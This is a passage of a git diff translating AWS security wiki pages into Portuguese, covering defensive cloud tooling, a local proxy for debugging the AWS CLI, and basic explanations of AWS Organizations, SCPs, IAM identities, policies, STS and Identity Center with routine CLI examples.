**ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. - -## DEBUG: Capture AWS cli requests +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações possuem em uma ferramenta leve e flexível, com métricas e relatórios unificados. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert é uma estrutura de análise de dados **em tempo real** sem servidor que permite que você **ingeste, analise e envie alertas** sobre dados de qualquer ambiente, **usando fontes de dados e lógica de alerta que você define**. Equipes de segurança da informação usam o StreamAlert para escanear terabytes de dados de log todos os dias para detecção e resposta a incidentes. +## DEBUG: Capturar solicitações do AWS cli ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - -## References +## Referências - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..1275fda9d 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,331 +1,319 @@ -# AWS - Basic Information +# AWS - Informações Básicas {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Hierarquia da Organização ![](<../../../images/image (151).png>) -### Accounts +### Contas -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre si. -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre implantações. -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros. -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- A **conta de gerenciamento (a conta root)** é a conta que você usa para criar a organização. A partir da conta de gerenciamento da organização, você pode fazer o seguinte: - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- Criar contas na organização +- Convidar outras contas existentes para a organização +- Remover contas da organização +- Gerenciar convites +- Aplicar políticas a entidades (roots, OUs ou contas) dentro da organização +- Habilitar integração com serviços AWS suportados para fornecer funcionalidade de serviço em todas as contas da organização. +- É possível fazer login como usuário root usando o e-mail e a senha usados para criar esta conta/organização root. - The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +A conta de gerenciamento tem as **responsabilidades de uma conta pagadora** e é responsável por pagar todas as cobranças acumuladas pelas contas membros. Você não pode mudar a conta de gerenciamento de uma organização. +- As **contas membros** compõem todas as outras contas em uma organização. Uma conta pode ser membro de apenas uma organização por vez. Você pode anexar uma política a uma conta para aplicar controles apenas a essa conta. +- As contas membros **devem usar um endereço de e-mail válido** e podem ter um **nome**, em geral, elas não poderão gerenciar a cobrança (mas podem receber acesso a isso). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` +### **Unidades de Organização** -### **Organization Units** - -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +As contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Observe que uma OU pode ter outras OUs como filhas. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` - ### Service Control Policy (SCP) -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. +Uma **política de controle de serviço (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**. -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, pode ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\ +A única maneira de contornar isso é comprometer também a **conta mestre** que configura as SCPs (a conta mestre não pode ser bloqueada). > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta. -SCP examples: +Exemplos de SCP: -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- Negar completamente a conta root +- Permitir apenas regiões específicas +- Permitir apenas serviços na lista branca +- Negar que GuardDuty, CloudTrail e S3 Public Block Access sejam - being disabled +desativados -- Deny security/incident response roles from being deleted or +- Negar que funções de segurança/resposta a incidentes sejam excluídas ou - modified. +modificadas. -- Deny backups from being deleted. -- Deny creating IAM users and access keys +- Negar que backups sejam excluídos. +- Negar a criação de usuários IAM e chaves de acesso -Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +Encontre **exemplos JSON** em [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Amazon Resource Name** é o **nome único** que cada recurso dentro da AWS possui, é composto assim: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - -Note that there are 4 partitions in AWS but only 3 ways to call them: +Note que existem 4 partições na AWS, mas apenas 3 maneiras de chamá-las: - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - Gerenciamento de Identidade e Acesso -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAM é o serviço que permitirá que você gerencie **Autenticação**, **Autorização** e **Controle de Acesso** dentro da sua conta AWS. -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **Autenticação** - Processo de definição de uma identidade e a verificação dessa identidade. Este processo pode ser subdividido em: Identificação e verificação. +- **Autorização** - Determina o que uma identidade pode acessar dentro de um sistema uma vez que foi autenticada. +- **Controle de Acesso** - O método e processo de como o acesso é concedido a um recurso seguro. -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAM pode ser definido pela sua capacidade de gerenciar, controlar e governar os mecanismos de autenticação, autorização e controle de acesso das identidades aos seus recursos dentro da sua conta AWS. -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [Usuário root da conta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma única identidade de login que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**. -Note that a new **admin user** will have **less permissions that the root user**. +Note que um novo **usuário admin** terá **menos permissões que o usuário root**. -From a security point of view, it's recommended to create other users and avoid using this one. +Do ponto de vista de segurança, é recomendado criar outros usuários e evitar usar este. -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [Usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +Um _usuário_ IAM é uma entidade que você cria na AWS para **representar a pessoa ou aplicação** que a utiliza para **interagir com a AWS**. Um usuário na AWS consiste em um nome e credenciais (senha e até duas chaves de acesso). -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +Quando você cria um usuário IAM, você concede **permissões** tornando-o um **membro de um grupo de usuários** que tem políticas de permissão apropriadas anexadas (recomendado), ou **anexando políticas diretamente** ao usuário. -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, a MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas, como AKHDNAPO86BSHKDIRYT +- **ID da Chave de Acesso Secreta**: 40 caracteres aleatórios em maiúsculas e minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Não é possível recuperar IDs de chave de acesso secreta perdidos). -Whenever you need to **change the Access Key** this is the process you should follow:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que você deve seguir:\ +&#xNAN;_Create uma nova chave de acesso -> Aplique a nova chave ao sistema/aplicação -> marque a original como inativa -> Teste e verifique se a nova chave de acesso está funcionando -> Exclua a chave de acesso antiga_ -### MFA - Multi Factor Authentication +### MFA - Autenticação de Múltiplos Fatores -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\ +Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como o google authentication gratuitamente para ativar um MFA na AWS. -Policies with MFA conditions can be attached to the following: +Políticas com condições de MFA podem ser anexadas aos seguintes: -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- Um usuário ou grupo IAM +- Um recurso como um bucket Amazon S3, fila Amazon SQS ou tópico Amazon SNS +- A política de confiança de um papel IAM que pode ser assumido por um usuário +Se você quiser **acessar via CLI** um recurso que **verifica a MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre a MFA.\ +Note que **as credenciais de `AssumeRole` não contêm essas informações**. ```bash aws sts get-session-token --serial-number --token-code ``` +Como [**afirmado aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), existem muitos casos diferentes onde **MFA não pode ser usado**. -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [Grupos de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +Um [grupo de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**. -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e os principais são entidades IAM autenticadas. -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +Aqui estão algumas características importantes dos grupos de usuários: -Here are some important characteristics of user groups: +- Um **grupo de usuários** pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**. +- **Grupos de usuários não podem ser aninhados**; eles podem conter apenas usuários, não outros grupos de usuários. +- Não há **grupo de usuários padrão que automaticamente inclui todos os usuários na conta AWS**. Se você quiser ter um grupo de usuários assim, deve criá-lo e atribuir cada novo usuário a ele. +- O número e o tamanho dos recursos IAM em uma conta AWS, como o número de grupos e o número de grupos dos quais um usuário pode ser membro, são limitados. Para mais informações, veja [cotas IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de estar exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM. -An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. - -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**. #### AWS Security Token Service (STS) -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +O AWS Security Token Service (STS) é um serviço web que facilita a **emissão de credenciais temporárias e de privilégio limitado**. É especificamente adaptado para: -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas. -### Policies +### Políticas -#### Policy Permissions +#### Permissões de Política -Are used to assign permissions. There are 2 types: +São usadas para atribuir permissões. Existem 2 tipos: -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- Políticas gerenciadas pela AWS (pré-configuradas pela AWS) +- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria. +Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\ +Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão). ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` +Os [campos globais que podem ser usados para condições em qualquer serviço estão documentados aqui](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +Os [campos específicos que podem ser usados para condições por serviço estão documentados aqui](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +#### Políticas Inline -#### Inline Policies +Esse tipo de políticas são **atribuídas diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\ +Políticas inline são úteis se você quiser **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o Console de Gerenciamento da AWS para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal. -This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\ -Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity. +#### Políticas de Bucket de Recursos -#### Resource Bucket Policies +Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos os recursos da AWS as suportam**. -These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**. +Se um principal não tiver uma negação explícita sobre eles, e uma política de recurso conceder acesso, então eles são permitidos. -If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed. +### Limites do IAM -### IAM Boundaries +Os limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las. -IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them. +Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Assim, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer. -A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do. +**Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam. -**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs. +### Políticas de Sessão -### Session Policies - -A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has). - -This is useful for **security meassures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised. +Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui). +Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida. ```bash aws sts assume-role \ - --role-arn \ - --role-session-name \ - [--policy-arns ] - [--policy ] +--role-arn \ +--role-session-name \ +[--policy-arns ] +[--policy ] ``` +Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**. -Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**. +### Federação de Identidade -### Identity Federation +A federação de identidade **permite que usuários de provedores de identidade que são externos** à AWS acessem recursos da AWS de forma segura, sem precisar fornecer credenciais de usuário da AWS de uma conta IAM válida.\ +Um exemplo de um provedor de identidade pode ser o seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços de **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS. -Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\ -An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS. +Para configurar essa confiança, um **Provedor de Identidade IAM é gerado (SAML ou OAuth)** que **confiará** na **outra plataforma**. Em seguida, pelo menos uma **função IAM é atribuída (confiando) ao Provedor de Identidade**. Se um usuário da plataforma confiável acessar a AWS, ele estará acessando como a função mencionada. -To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role. - -However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other. +No entanto, você geralmente desejará dar uma **função diferente dependendo do grupo do usuário** na plataforma de terceiros. Assim, várias **funções IAM podem confiar** no Provedor de Identidade de terceiros e a plataforma de terceiros será a responsável por permitir que os usuários assumam uma função ou outra.
-### IAM Identity Center +### Centro de Identidade IAM -AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications. +O AWS IAM Identity Center (sucessor do AWS Single Sign-On) expande as capacidades do AWS Identity and Access Management (IAM) para fornecer um **local central** que reúne a **administração de usuários e seu acesso a contas** da AWS e aplicativos em nuvem. -The login domain is going to be something like `.awsapps.com`. +O domínio de login será algo como `.awsapps.com`. -To login users, there are 3 identity sources that can be used: +Para fazer login dos usuários, existem 3 fontes de identidade que podem ser usadas: -- Identity Center Directory: Regular AWS users -- Active Directory: Supports different connectors -- External Identity Provider: All users and groups come from an external Identity Provider (IdP) +- Diretório do Identity Center: Usuários regulares da AWS +- Active Directory: Suporta diferentes conectores +- Provedor de Identidade Externo: Todos os usuários e grupos vêm de um Provedor de Identidade externo (IdP)
-In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization. +No caso mais simples do diretório do Identity Center, o **Identity Center terá uma lista de usuários e grupos** e será capaz de **atribuir políticas** a eles para **qualquer uma das contas** da organização. -In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account. +Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedor de Identidade SAML confiando no Identity Center será criado**, e uma **função confiando no Provedor de Identidade com as políticas indicadas será criada** na conta de destino. #### AwsSSOInlinePolicy -It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**. +É possível **dar permissões via políticas inline para funções criadas via IAM Identity Center**. As funções criadas nas 